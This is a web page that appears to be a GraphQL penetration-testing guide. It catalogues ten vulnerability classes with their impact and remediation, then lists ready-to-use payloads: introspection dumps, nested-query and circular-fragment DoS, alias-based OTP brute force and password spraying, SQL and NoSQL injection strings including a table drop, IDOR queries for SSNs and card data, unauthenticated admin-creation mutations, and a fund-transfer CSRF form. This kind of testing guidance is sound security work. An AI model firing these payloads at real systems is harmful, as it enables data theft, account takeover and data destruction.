GraphQL Attack Surface

GraphQL Pentesting Guide
● Security Research

GraphQL
Attack Surface

A single endpoint that exposes your entire data graph. One misconfiguration and the whole schema is yours.

10
Vulnerability classes
1
Endpoint to target
30+
Test payloads
What is GraphQL
GraphQL is a query language for APIs developed by Meta (2012, open-sourced 2015). Unlike REST which exposes multiple fixed endpoints, GraphQL exposes a single endpoint where clients send structured queries specifying exactly the data they need. The server responds with precisely that shape — no more, no less.
Core operations
Query
Read data from the server. Equivalent to HTTP GET in REST. Fetches exactly the fields requested.
Mutation
Create, update, or delete data. Can return data after the operation — like POST/PUT/DELETE.
Subscription
Real-time event stream over WebSocket. Server pushes updates when data changes.
REST vs GraphQL
Aspect REST GraphQL
Endpoints/users, /posts, /orders…Single /graphql
Response shapeServer decidesClient decides
Over-fetchingCommonEliminated
SchemaOpenAPI/Swagger (optional)Strongly typed, mandatory
Versioning/v1, /v2 endpointsDeprecate fields in schema
HTTP methodsGET, POST, PUT, DELETEMostly POST (sometimes GET)
Attack surfaceMany endpointsOne endpoint, full schema
Why it matters for pentesters
⚡ Introspection = free recon
Unlike REST, GraphQL can self-describe its entire schema — every type, field, query, and mutation — via a single introspection query. Effectively a free API map.
🧱 One endpoint, all the power
A single misconfigured resolver can expose data across all types. There's no network segmentation to rely on — the entire graph is reachable from one URL.
🔄 Alias abuse for brute force
GraphQL aliases allow the same field to be queried many times in one HTTP request, bypassing per-request rate limits — perfect for OTP brute-forcing.
🛡 Authorization gaps
Developers often add auth at the route level but forget field-level controls. Privileged fields may be accessible to any authenticated user regardless of role.
Common endpoints to probe
/graphql /graphql/v1 /api/graphql /graphiql /playground /gql /query /v1/graphql /api/v1/graphql /graphql/console
Try both GET and POST. Also check /.well-known/ and JS bundles for endpoint strings.
4
Critical / High
4
Medium
2
Low / Info
Vulnerability catalog — click to expand
🔓
Broken access control / IDOR
Missing object-level authorization in resolvers
Critical

Description

Resolvers fetch objects by ID passed in the query. Without ownership checks, any authenticated user can request any user's data by enumerating IDs.

Impact

  • Unauthorized read or modification of any user's data
  • Account takeover via email/password mutation of another user
  • PII / financial data exposure (SSN, credit cards, addresses)
  • Privilege escalation by accessing admin objects

Remediation

  • Validate object ownership inside every resolver, not at the route level
  • Use opaque, non-sequential IDs (UUIDs v4)
  • Apply explicit field-level authorization libraries (e.g. graphql-shield)
  • Default-deny: require explicit permission grants per field
💉
Injection — SQL / NoSQL / Command
Unsanitized arguments passed to database or system calls
Critical

Description

GraphQL arguments are strings passed to resolvers. If not parameterized before being used in queries, SQL/NoSQL injection is possible — the GraphQL layer provides no automatic sanitization.

Impact

  • Full database compromise and exfiltration
  • Authentication bypass (WHERE 1=1 patterns)
  • Remote code execution via xp_cmdshell or MongoDB $where
  • Data destruction

Remediation

  • Use parameterized queries / prepared statements — never string interpolation
  • Use an ORM with built-in escaping
  • Validate and allowlist input types per argument
  • Apply WAF rules tuned for GraphQL argument patterns
🔑
Missing authentication on resolvers
Privileged operations accessible without valid session
Critical

Description

Developers sometimes add auth middleware at the HTTP route level but forget per-resolver checks. Queries or mutations may be reachable without any token or session.

Impact

  • Data exfiltration without logging in
  • Admin mutations callable by unauthenticated users
  • Mass user account manipulation

Remediation

  • Enforce auth at the resolver middleware layer — not just at the HTTP layer
  • Default-deny: all operations require authentication unless explicitly marked public
  • During testing: replay every request with no Authorization header
DoS — query depth & complexity
Deeply nested or expensive queries exhaust server resources
High

Description

GraphQL resolvers can be chained into deeply nested queries. Without depth/complexity limits, a single request can trigger N+1 queries to the database, causing CPU and memory exhaustion.

Impact

  • Server crash or OOM kill
  • Service degradation for all users
  • Database overload cascade

Remediation

  • Enforce maximum query depth (5–10 levels)
  • Implement query complexity scoring with a budget cap
  • Set resolver timeouts
  • Use DataLoader to batch and deduplicate DB calls
  • Rate limit by operation, not by HTTP request
📁
File upload abuse
Malicious files uploaded via multipart mutations
High

Description

GraphQL supports multipart file uploads. Without server-side validation, attackers can upload PHP/ASPX webshells, SVG files with embedded XSS, or oversized files for DoS.

Impact

  • Remote code execution via webshell execution
  • Stored XSS via malicious SVG
  • DoS via zip bombs or oversized uploads

Remediation

  • Validate file type by magic bytes — not just Content-Type or extension
  • Enforce maximum file size
  • Store uploads outside the web root with randomized names
  • Scan for malware before persisting
🔍
Introspection enabled in production
Full schema exposed to unauthenticated requests
Medium

Description

Introspection is a built-in GraphQL feature that returns the entire schema — all types, fields, queries, and mutations. Enabled by default in most frameworks, it gives attackers a complete API blueprint without any authentication.

Impact

  • Complete API map for targeted exploitation
  • Discovery of hidden admin queries and sensitive fields
  • Accelerates all other attack phases

Remediation

  • Disable introspection in production environments
  • Allow only for authenticated admins if internal tooling needs it
  • Use persisted queries or operation allowlisting
🔄
Alias / batch amplification (rate limit bypass)
Multiple operations in one request evade per-request limits
Medium

Description

GraphQL aliases allow the same field to be called many times with different arguments in a single HTTP request. Rate limiting at the HTTP layer counts this as one request, so an attacker can test thousands of OTPs or passwords in a single call.

Impact

  • OTP/2FA enumeration (10,000 codes in one request)
  • Password brute force without triggering lockouts
  • Resource amplification DoS

Remediation

  • Rate limit per operation execution — not per HTTP request
  • Limit alias count per query (max 3–5)
  • Disable batching or limit batch array size to 1–5
  • Implement account lockout at the application layer
🛡️
GraphQL CSRF
State-changing mutations accepted via GET or without CSRF token
Medium

Description

If mutations are accepted via GET requests or via POST with Content-Type: text/plain (or form-encoded), attackers can trigger them from a malicious page in the victim's authenticated session.

Impact

  • Unauthorized mutation execution as victim
  • Account changes (email, password, payment info)
  • Data deletion or exfiltration

Remediation

  • Accept mutations only via POST with Content-Type: application/json
  • Implement CSRF tokens and validate Origin / Referer headers
  • Reject non-JSON content types for mutation endpoints
👁️
Verbose error message leakage
Stack traces and internal details in error responses
Medium

Description

GraphQL errors often include full stack traces, database query details, internal file paths, and type/field names in development mode — sometimes left on in production.

Impact

  • Database engine and schema revealed
  • Internal server paths and framework versions exposed
  • Aids targeted injection and path traversal attacks

Remediation

  • Return only generic error messages in production (custom error formatter)
  • Log detailed errors server-side only
  • Strip extensions.exception from production responses
💡
Field suggestion leakage
Schema enumeration via "Did you mean?" error hints
Low

Description

Even with introspection disabled, Apollo and graphql-js respond to typos with "Did you mean X?" messages — revealing real field names. This enables full schema enumeration without introspection permissions.

Impact

  • Schema enumeration bypass when introspection is disabled
  • Discovery of hidden, internal, or sensitive field names

Remediation

  • Disable field suggestions in production (Apollo: fieldSuggestions: false)
  • Return only generic "unknown field" errors
  • Consider using Clairvoyance tool to test enumeration before deployment
Recon & Schema
🔍 Basic introspection — dump all types
{ __schema { types { name fields { name } } } }
🔍 Full introspection query
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      name
      kind
      description
      fields {
        name
        description
        type { name kind ofType { name kind } }
        args { name type { name kind } }
      }
    }
    directives { name locations }
  }
}
💡 Field suggestion probe (introspection disabled)
# Send typo — look for "Did you mean X?" in error response
{ users { passwodr } }
{ users { emaill } }
{ user(id: "1") { admmmin } }

# Also try __type even when __schema is blocked
{ __type(name: "User") { fields { name } } }
Denial of Service
⚡ Deep nesting DoS
{ user { friends { friends { friends { friends {
  friends { friends { friends { friends {
    name email phoneNumber
  } } } } } } } } }
⚡ Circular fragment reference
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
{ user(id: "1") { ...A } }
⚡ Array argument amplification
{ users(ids: [1,2,3,4,5,6,7,8,9,10,
  ...1000 IDs...
  ]) { name email } }
Rate limit bypass — alias batching
🔄 OTP brute force (alias batching)
{
  a0001: verifyOTP(otp: "0001") { success token }
  a0002: verifyOTP(otp: "0002") { success token }
  a0003: verifyOTP(otp: "0003") { success token }
  ...
  a9999: verifyOTP(otp: "9999") { success token }
}
🔄 Password spray via aliases
{
  a1: login(email: "victim@corp.com", password: "Password1!") { token }
  a2: login(email: "victim@corp.com", password: "Summer2024!") { token }
  a3: login(email: "victim@corp.com", password: "Welcome123") { token }
}
🔄 HTTP batch array (JSON array)
[
  {"query": "{ user(id: \"1\") { email } }"},
  {"query": "{ user(id: \"2\") { email } }"},
  {"query": "{ user(id: \"3\") { email } }"}
]
Injection
💉 SQL injection in string argument
{ user(id: "1 OR 1=1--") { name email password } }
{ user(id: "1; DROP TABLE users--") { name } }
{ search(q: "' UNION SELECT 1,username,password,4 FROM users--") { results } }
{ login(username: "admin'--", password: "x") { token } }
💉 NoSQL injection (MongoDB)
{ login(username: {$gt: ""}, password: {$gt: ""}) { token } }
{ user(filter: {username: {$regex: "admin"}}) { email password } }
{ find(where: {password: {$ne: "wrongpassword"}}) { users { email } } }
💉 SSTI probe in template fields
mutation {
  updateProfile(bio: "{{7*7}}") { bio }
}
# Check if response contains "49" → SSTI confirmed
Access control
🔓 IDOR — query other users' data
# Logged in as user ID 42, enumerate other users:
{ user(id: "1")  { email phone ssn creditCard } }
{ user(id: "2")  { email phone ssn creditCard } }
{ order(id: "1001") { total items card { last4 cvv } } }
{ invoice(id: "500") { amount recipient bankAccount } }
🔑 Unauthenticated mutation (no auth header)
mutation {
  deleteUser(id: "5") { success }
}

mutation {
  updateAdminEmail(email: "attacker@evil.com") { success }
}

mutation {
  createAdmin(username: "pwned", password: "pwned123") { id token }
}
CSRF & transport
🛡️ CSRF via GET request
GET /graphql?query=mutation{deleteAccount{success}} HTTP/1.1
Host: target.com
Cookie: session=victim_session_here
🛡️ CSRF via form POST (text/plain bypass)
<form method="POST" action="https://target.com/graphql">
  <input name='{"query":"mutation{transferFunds(to:\"attacker\",amount:9999){success}}","variables":null}' value='' />
  <input type="submit" />
</form>
A step-by-step engagement checklist. Tick off items as you go — state is saved in the session.

Comments